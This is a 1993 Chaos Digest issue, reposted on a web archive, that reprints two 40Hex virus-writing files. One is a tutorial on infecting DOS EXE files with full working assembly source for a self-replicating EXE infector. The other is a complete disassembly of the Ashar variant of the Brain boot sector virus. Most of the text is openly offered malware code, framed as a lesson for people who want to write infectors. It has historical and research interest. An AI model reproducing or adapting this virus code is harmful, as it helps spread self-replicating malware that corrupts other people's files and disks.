Copy Link
Add to Bookmark
Report

Chaos Digest Volume 01 Numero 69

eZine's profile picture
Published in 
Chaos Digest
 · 28 Dec 2019

  

Chaos Digest Samedi 3 Juillet 1993 Volume 1 : Numero 69
ISSN 1244-4901

Editeur: Jean-Bernard Condat (jbcondat@attmail.com)
Archiviste: Yves-Marie Crabbe
Co-Redacteurs: Arnaud Bigare, Stephane Briere

TABLE DES MATIERES, #1.69 (3 Juillet 1993)
File 1--40H VMag Number 8 Volume 2 Issue 4 #007-008(1) (reprint)

Chaos Digest is a weekly electronic journal/newsletter. Subscriptions are
available at no cost by sending a message to:
linux-activists-request@niksula.hut.fi
with a mail header or first line containing the following informations:
X-Mn-Admin: join CHAOS_DIGEST

The editors may be contacted by voice (+33 1 47874083), fax (+33 1 47877070)
or S-mail at: Jean-Bernard Condat, Chaos Computer Club France [CCCF], B.P.
155, 93404 St-Ouen Cedex, France. He is a member of the EICAR and EFF (#1299)
groups.

Issues of ChaosD can also be found from the ComNet in Luxembourg BBS (+352)
466893. Back issues of ChaosD can be found on the Internet as part of the
Computer underground Digest archives. They're accessible using anonymous FTP:

* kragar.eff.org [192.88.144.4] in /pub/cud/chaos
* uglymouse.css.itd.umich.edu [141.211.182.53] in /pub/CuD/chaos
* halcyon.com [192.135.191.2] in /pub/mirror/cud/chaos
* ftp.cic.net [192.131.22.2] in /e-serials/alphabetic/c/chaos-digest
* cs.ubc.ca [137.82.8.5] in /mirror3/EFF/cud/chaos
* ftp.ee.mu.oz.au [128.250.77.2] in /pub/text/CuD/chaos
* nic.funet.fi [128.214.6.100] in /pub/doc/cud/chaos
* orchid.csv.warwick.ac.uk [137.205.192.5] in /pub/cud/chaos

CHAOS DIGEST is an open forum dedicated to sharing French information among
computerists and to the presentation and debate of diverse views. ChaosD
material may be reprinted for non-profit as long as the source is cited.
Some authors do copyright their material, and they should be contacted for
reprint permission. Readers are encouraged to submit reasoned articles in
French, English or German languages relating to computer culture and
telecommunications. Articles are preferred to short responses. Please
avoid quoting previous posts unless absolutely necessary.

DISCLAIMER: The views represented herein do not necessarily represent
the views of the moderators. Chaos Digest contributors
assume all responsibility for ensuring that articles
submitted do not violate copyright protections.

----------------------------------------------------------------------

Date: Tue May 11 09:24:40 PDT 1993
From: 0005847161@mcimail.com (American_Eagle_Publication_Inc. )
Subject: File 1--40H VMag Number 8 Volume 2 Issue 4 #007-008(1) (reprint)


40Hex Number 8 Volume 2 Issue 4 File 007

_______________________________________
An Introduction to Nonoverwriting Virii
Part II: EXE Infectors
By Dark Angel
_______________________________________

In the last issue of 40Hex, I presented theory and code for the
nonoverwriting COM infector, the simplest of all parasitic virii.
Hopefully, having learned COM infections cold, you are now ready for EXE
infections. There is a grey veil covering the technique of EXE infections,
as the majority of virii are COM-only.

EXE infections are, in some respects, simpler than COM viruses.
However, to understand the infection, you must understand the structure of
EXE files (naturally). EXE files are structured into segments which are
loaded consecutively atop one another. Thus, all an EXE infector must do
is create its own segment in the EXE file and alter the entry point
appropriately. Therefore, EXE infections do not require restoration of
bytes of code, but rather involve the manipulation of the header which
appears in the beginning every EXE file and the appending of viral code to
the infected file. The format of the header follows:

Offset Description
00 ID word, either 'MZ' or 'ZM'
02 Number of bytes in the last (512 byte) page in the image
04 Total number of 512 byte pages in the file
06 Number of entries in the segment table
08 Size of the header in (16 byte) paragraphs
0A Minimum memory required in paragraphs
0C Maximum memory requested in paragraphs
0E Initial offset in paragraphs to stack segment from header
10 Initial offset in bytes of stack pointer from stack segment
12 Negative checksum (ignored)
14 Initial offset in bytes of instruction pointer from code segment
16 Initial offset in paragraphs of code segment from header
18 Offset of relocation table from start of file
1A Overlay number (ignored)

The ID word is generally 'ZM' (in the Intel little-endian format). Few
files start with the alternate form, 'MZ' (once again in Intel little-
endian format). To save space, a check for the alternate form of the EXE
ID in the virus may be omitted, although a few files may be corrupted due
to this omission.

The words at offsets 2 and 4 are related. The word at offset 4 contains
the filesize in pages. A page is a 512 byte chunk of memory, just as a
word is a two byte chunk of memory. This number is rounded up, so a file
of length 514 bytes would contain a 2 at offset 4 in the EXE header. The
word at offset 2 is the image length modulo 512. The image length does not
include the header length. This is one of the bizarre quirks of the EXE
header. Since the header length is usually a multiple of 512 anyway, this
quirk usually does not matter. If the word at offset 2 is equal to four,
then it is generally ignored (heck, it's never really used anyway) since
pre-1.10 versions of the Microsoft linker had a bug which caused the word
to always be equal to four. If you are bold, the virus can set this word
to 4. However, keep in mind that this was a bug of the linker and not all
command interpreters may recognise this quirk.

The minimum memory required by the program (offset A) can be ignored by the
virus, as the maximum memory is generally allocated to the program by the
operating system. However, once again, ignoring this area of the header
MAY cause an unsucessful infection. Simply adding the virus size in
paragraphs to this value can nullify the problem.

The words representing the initial stack segment and pointer are reversed
(not in little-endian format). In other words, an LES to this location
will yield the stack pointer in ES and the stack segment in another
register. The initial SS:SP is calculated with the base address of
0000:0000 being at the end of the header.

Similarly, the initial CS:IP (in little-endian format) is calculated with
the base address of 0000:0000 at the end of the header. For example, if
the program entry point appears directly after the header, then the CS:IP
would be 0000:0000. When the program is loaded, the PSP+10 is added to the
segment value (the extra 10 accounts for the 100h bytes of the PSP).

All the relevant portions of the EXE header have been covered. So what
should be done to write a nonoverwriting EXE infector? First, the virus
must be appended to the end of the file. Second, the initial CS:IP must be
saved and subsequently changed in the header. Third, the initial SS:SP
should also be saved and changed. This is to avoid any possible memory
conflicts from the stack overwriting viral code. Fourth, the file size
area of the header should be modified to correctly reflect the new size of
the file. Fifth, any additional safety modifications such as increasing
the minimum memory allocation should be made. Last, the header should be
written to the infected file.

There are several good areas for ID bytes in the EXE header. The first is
in the stack pointer field. Since it should be changed anyway, changing it
to a predictable number would add nothing to the code length. Make sure,
however, to make the stack pointer high enough to prevent code overwrites.
Another common area for ID bytes is in the negative checksum field. Since
it is an unused field, altering it won't affect the execution of any
programs.

One further item should be mentioned before the code for the EXE infector.
It is important to remember that EXE files are loaded differently than COM
files. Although a PSP is still built, the initial CS does NOT point to it.
Instead, it points to wherever the entry point happens to be. DS and ES
point to the PSP, and therefore do NOT point to the entry point (your virus
code). It is important to restore DS and ES to their proper values before
returning control to the EXE.

----cut here---------------------------------------------------------------

.model tiny ;Handy TASM directive
.code ;Virus code segment
org 100h ;COM file starting IP
;Cheesy EXE infector
;Written by Dark Angel of PHALCON/SKISM
;For 40Hex Number 8 Volume 2 Issue 4
id = 'DA' ;ID word for EXE infections

startvirus: ;virus code starts here
call next ;calculate delta offset
next: pop bp ;bp = IP next
sub bp,offset next ;bp = delta offset

push ds
push es
push cs ;DS = CS
pop ds
push cs ;ES = CS
pop es
lea si,[bp+jmpsave2]
lea di,[bp+jmpsave]
movsw
movsw
movsw
movsw

mov ah,1Ah ;Set new DTA
lea dx,[bp+newDTA] ;new DTA @ DS:DX
int 21h

lea dx,[bp+exe_mask]
mov ah,4eh ;find first file
mov cx,7 ;any attribute
findfirstnext:
int 21h ;DS:DX points to mask
jc done_infections ;No mo files found

mov al,0h ;Open read only
call open

mov ah,3fh ;Read file to buffer
lea dx,[bp+buffer] ;@ DS:DX
mov cx,1Ah ;1Ah bytes
int 21h

mov ah,3eh ;Close file
int 21h

checkEXE: cmp word ptr [bp+buffer+10h],id ;is it already infected?
jnz infect_exe
find_next:
mov ah,4fh ;find next file
jmp short findfirstnext
done_infections:
mov ah,1ah ;restore DTA to default
mov dx,80h ;DTA in PSP
pop es
pop ds ;DS->PSP
int 21h
mov ax,es ;AX = PSP segment
add ax,10h ;Adjust for PSP
add word ptr cs:[si+jmpsave+2],ax
add ax,word ptr cs:[si+stacksave+2]
cli ;Clear intrpts for stack manip.
mov sp,word ptr cs:[si+stacksave]
mov ss,ax
sti
db 0eah ;jmp ssss:oooo
jmpsave dd ? ;Original CS:IP
stacksave dd ? ;Original SS:SP
jmpsave2 dd 0fff00000h ;Needed for carrier file
stacksave2 dd ?

creator db '[MPC]',0,'Dark Angel of PHALCON/SKISM',0
virusname db '[DemoEXE] for 40Hex',0

infect_exe:
les ax, dword ptr [bp+buffer+14h] ;Save old entry point
mov word ptr [bp+jmpsave2], ax
mov word ptr [bp+jmpsave2+2], es

les ax, dword ptr [bp+buffer+0Eh] ;Save old stack
mov word ptr [bp+stacksave2], es
mov word ptr [bp+stacksave2+2], ax

mov ax, word ptr [bp+buffer + 8] ;Get header size
mov cl, 4 ;convert to bytes
shl ax, cl
xchg ax, bx

les ax, [bp+offset newDTA+26];Get file size
mov dx, es ;to DX:AX
push ax
push dx

sub ax, bx ;Subtract header size from
sbb dx, 0 ;file size

mov cx, 10h ;Convert to segment:offset
div cx ;form

mov word ptr [bp+buffer+14h], dx ;New entry point
mov word ptr [bp+buffer+16h], ax

mov word ptr [bp+buffer+0Eh], ax ;and stack
mov word ptr [bp+buffer+10h], id

pop dx ;get file length
pop ax

add ax, heap-startvirus ;add virus size
adc dx, 0

mov cl, 9 ;2**9 = 512
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax ;filesize in pages
pop ax
and ah, 1 ;mod 512

mov word ptr [bp+buffer+4], dx ;new file size
mov word ptr [bp+buffer+2], ax

push cs ;restore ES
pop es

mov cx, 1ah
finishinfection:
push cx ;Save # bytes to write
xor cx,cx ;Clear attributes
call attributes ;Set file attributes

mov al,2
call open

mov ah,40h ;Write to file
lea dx,[bp+buffer] ;Write from buffer
pop cx ;cx bytes
int 21h

mov ax,4202h ;Move file pointer
xor cx,cx ;to end of file
cwd ;xor dx,dx
int 21h

mov ah,40h ;Concatenate virus
lea dx,[bp+startvirus]
mov cx,heap-startvirus ;# bytes to write
int 21h

mov ax,5701h ;Restore creation date/time
mov cx,word ptr [bp+newDTA+16h] ;time
mov dx,word ptr [bp+newDTA+18h] ;date
int 21h

mov ah,3eh ;Close file
int 21h

mov ch,0
mov cl,byte ptr [bp+newDTA+15h] ;Restore original
call attributes ;attributes

mo_infections: jmp find_next

open:
mov ah,3dh
lea dx,[bp+newDTA+30] ;filename in DTA
int 21h
xchg ax,bx
ret

attributes:
mov ax,4301h ;Set attributes to cx
lea dx,[bp+newDTA+30] ;filename in DTA
int 21h
ret

exe_mask db '*.exe',0
heap: ;Variables not in code
newDTA db 42 dup (?) ;Temporary DTA
buffer db 1ah dup (?) ;read buffer
endheap: ;End of virus

end startvirus

----cut here---------------------------------------------------------------

This is a simple EXE infector. It has limitations;for example, it does
not handle misnamed COM files. This can be remedied by a simple check:

cmp [bp+buffer],'ZM'
jnz misnamed_COM
continueEXE:

Take special notice of the done_infections and infect_exe procedures. They
handle all the relevant portions of the EXE infection. The restoration of
the EXE file simply consists of resetting the stack and a far jmp to the
original entry point.

A final note on EXE infections: it is often helpful to "pad" EXE files to
the nearest segment. This accomplishes two things. First, the initial IP
is always 0, a fact which can be used to eliminate delta offset
calculations. Code space can be saved by replacing all those annoying
relative memory addressing statements ([bp+offset blip]) statements with
their absolute counterparts (blip). Second, recalculation of header info
can be handled in paragraphs, simplifying it tremendously. The code for
this is left as an exercise for the reader.

This file is dedicated to the [XxXX] (Censored. -Ed.) programmers (who have
yet to figure out how to write EXE infectors). Hopefully, this text can
teach them (and everyone else) how to progress beyond simple COM and spawn-
ing EXE infectors. In the next issue of 40Hex, I will present the theory
and code for the next step of file infector - the coveted SYS file.

+++++

40Hex Number 8 Volume 2 Issue 4 File 008

;This is the ashar variant of the classic Pakistani Brain virus. It is large
;by today's standards, although it was one of the first. It is a floppy only
;boot sector infector.

brain segment byte public
assume cs:brain, ds:brain
;Disassembly done by Dark Angel of PHALCON/SKISM
org 0

cli
jmp entervirus
idbytes db 34h, 12h
firsthead db 0
firstsector dw 2707h
curhead db 0
cursector dw 1
db 0, 0, 0, 0
db 'Welcome to the Dungeon '
copyright db '(c) 1986 Brain'
db 17h
db '& Amjads (pvt) Ltd VIRUS_SHOE '
db ' RECORD v9.0 Dedicated to th'
db 'e dynamic memories of millions o'
db 'f virus who are no longer with u'
db 's today - Thanks GOODNESS!! '
db ' BEWARE OF THE er..VIRUS : \th'
db 'is program is catching prog'
db 'ram follows after these messeges'
db '..... $'
db '#@%$'
db '@!! '
entervirus:
mov ax,cs
mov ds,ax ;ds = 0
mov ss,ax ;set stack to after
mov sp,0F000h ;virus
sti
mov al,ds:[7C00h+offset firsthead]
mov ds:[7C00h+offset curhead],al
mov cx,ds:[7C00h+offset firstsector]
mov ds:[7C00h+offset cursector],cx
call calcnext
mov cx,5 ;read five sectors
mov bx,7C00h+200h ;after end of virus

loadnext:
call readdisk
call calcnext
add bx,200h
loop loadnext

mov ax,word ptr ds:[413h] ;Base memory size in Kb
sub ax,7 ;- 7 Kb
mov word ptr ds:[413h],ax ;Insert as new value
mov cl,6
shl ax,cl ;Convert to paragraphs
mov es,ax
mov si,7C00h ;Copy from virus start
mov di,0 ;to start of memory
mov cx,1004h ;Copy 1004h bytes
cld
rep movsb
push es
mov ax,200h
push ax
retf ;return to old boot sector

readdisk:
push cx
push bx
mov cx,4 ;Try 4 times

tryread:
push cx
mov dh,ds:[7C00h+offset curhead]
mov dl,0 ;Read sector from default
mov cx,ds:[7C00h+offset cursector]
mov ax,201h ;Disk to memory at es:bx
int 13h
jnc readOK
mov ah,0 ;Reset disk
int 13h ;(force read track 0)
pop cx
loop tryread

int 18h ;ROM basic on failure
readOK:
pop cx
pop bx
pop cx
retn

calcnext:
mov al,byte ptr ds:[7C00h+offset cursector]
inc al
mov byte ptr ds:[7C00h+offset cursector],al
cmp al,0Ah
jne donecalc
mov byte ptr ds:[7C00h+offset cursector],1
mov al,ds:[7C00h+offset curhead]
inc al
mov ds:[7C00h+offset curhead],al
cmp al,2
jne donecalc
mov byte ptr ds:[7C00h+offset curhead],0
inc byte ptr ds:[7C00h+offset cursector+1]
donecalc:
retn

;the following is a collection of garbage bytes
db 00h, 00h, 00h, 00h, 32h,0E3h
db 23h, 4Dh, 59h,0F4h,0A1h, 82h
db 0BCh,0C3h, 12h, 00h, 7Eh, 12h
db 0CDh, 21h,0A2h, 3Ch, 5Fh
a_data dw 050Ch
;Second part of the virus begins here
jmp short entersecondpart
db '(c) 1986 Brain & Amjads (pvt) Ltd ',0
readcounter db 4 ;keep track of # reads
curdrive db 0
int13flag db 0

entersecondpart:
mov cs:readcounter,1Fh
xor ax,ax
mov ds,ax ;ds -> interrupt table
mov ax,ds:[13h*4]
mov ds:[6Dh*4],ax
mov ax,ds:[13h*4+2]
mov ds:[6Dh*4+2],ax
mov ax,offset int13 ;276h
mov ds:[13h*4],ax
mov ax,cs
mov ds:[13h*4+2],ax
mov cx,4 ;4 tries
xor ax,ax
mov es,ax ;es -> interrupt table

tryreadbootsector:
push cx
mov dh,cs:firsthead
mov dl,0
mov cx,cs:firstsector
mov ax,201h ;read from default disk
mov bx,7C00h
int 6Dh ;int 13h
jnc readbootOK
mov ah,0
int 6Dh ;int 13h
pop cx
loop tryreadbootsector

int 18h ;ROM basic on failure
readbootOK: ;return control to
;original boot sector
;* jmp far ptr 0000:7C00h
db 0EAh, 00h, 7Ch, 00h, 00h
nop ;MASM NOP!!!
int13:
sti
cmp ah,2 ;if not read request,
jne doint13 ;do not go further
cmp dl,2 ;if after second floppy,
ja doint13 ;do not go further
cmp ch,0 ;if not reading boot sector,
jne regularread ;go handle as usual
cmp dh,0 ;if boot sector,
je readboot ;do I<-/>/\|> stuff
regularread:
dec cs:readcounter ;Infect after 4 reads
jnz doint13 ;If counter still OK, don't
;do anything else
jmp short readboot ;Otherwise, try to infect
doint13:
jmp exitint13h
readboot:
;FINISH THIS!
mov cs:int13flag,0 ;clear flag
mov cs:readcounter,4 ;reset counter
push ax
push bx
push cx
push dx
mov cs:curdrive,dl
mov cx,4

tryreadbootblock:
push cx
mov ah,0 ;Reset disk
int 6Dh
jc errorreadingbootblock ;Try again
mov dh,0
mov cx,1
mov bx,offset readbuffer ;buffer @ 6BEh
push es
mov ax,cs
mov es,ax
mov ax,201h
int 6Dh ;Read boot sector
pop es
jnc continuestuff ;continue if no error
errorreadingbootblock:
pop cx
loop tryreadbootblock

jmp short resetdisk ;too many failures
nop
continuestuff:
pop cx ;get system id in boot block
mov ax,word ptr cs:[offset readbuffer+4]
cmp ax,1234h ;already infected?
jne dodisk ;if not, infect it
mov cs:int13flag,1 ;flag prev. infection
jmp short noreset
dodisk:
push ds
push es
mov ax,cs
mov ds,ax
mov es,ax
push si
call writevirus ;infect the disk
jc failme ;exit on failure
mov cs:int13flag,2 ;flag success
call changeroot ;manipulate volume
label
failme:
pop si
pop es
pop ds
jnc noreset ;don't reset on success
resetdisk:
mov ah,0 ;reset disk
int 6Dh ;int 13h
noreset:
pop dx
pop cx
pop bx
pop ax
cmp cx,1
jne exitint13h
cmp dh,0
jne exitint13h
cmp cs:int13flag,1 ;already infected?
jne wasntinfected ;if wasn't, go elsewhere
mov cx,word ptr cs:[offset readbuffer+7]
mov dx,word ptr cs:[offset readbuffer+5]
mov dl,cs:curdrive ;otherwise, read real
jmp short exitint13h ;boot sector
wasntinfected:
cmp cs:int13flag,2 ;successful infection?
jne exitint13h ;if not, just do call
mov cx,cs:firstsector
mov dh,cs:firsthead
exitint13h:
int 6Dh ;int 13h
retf 2
db 15 dup (0)

------------------------------

End of Chaos Digest #1.69
************************************

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT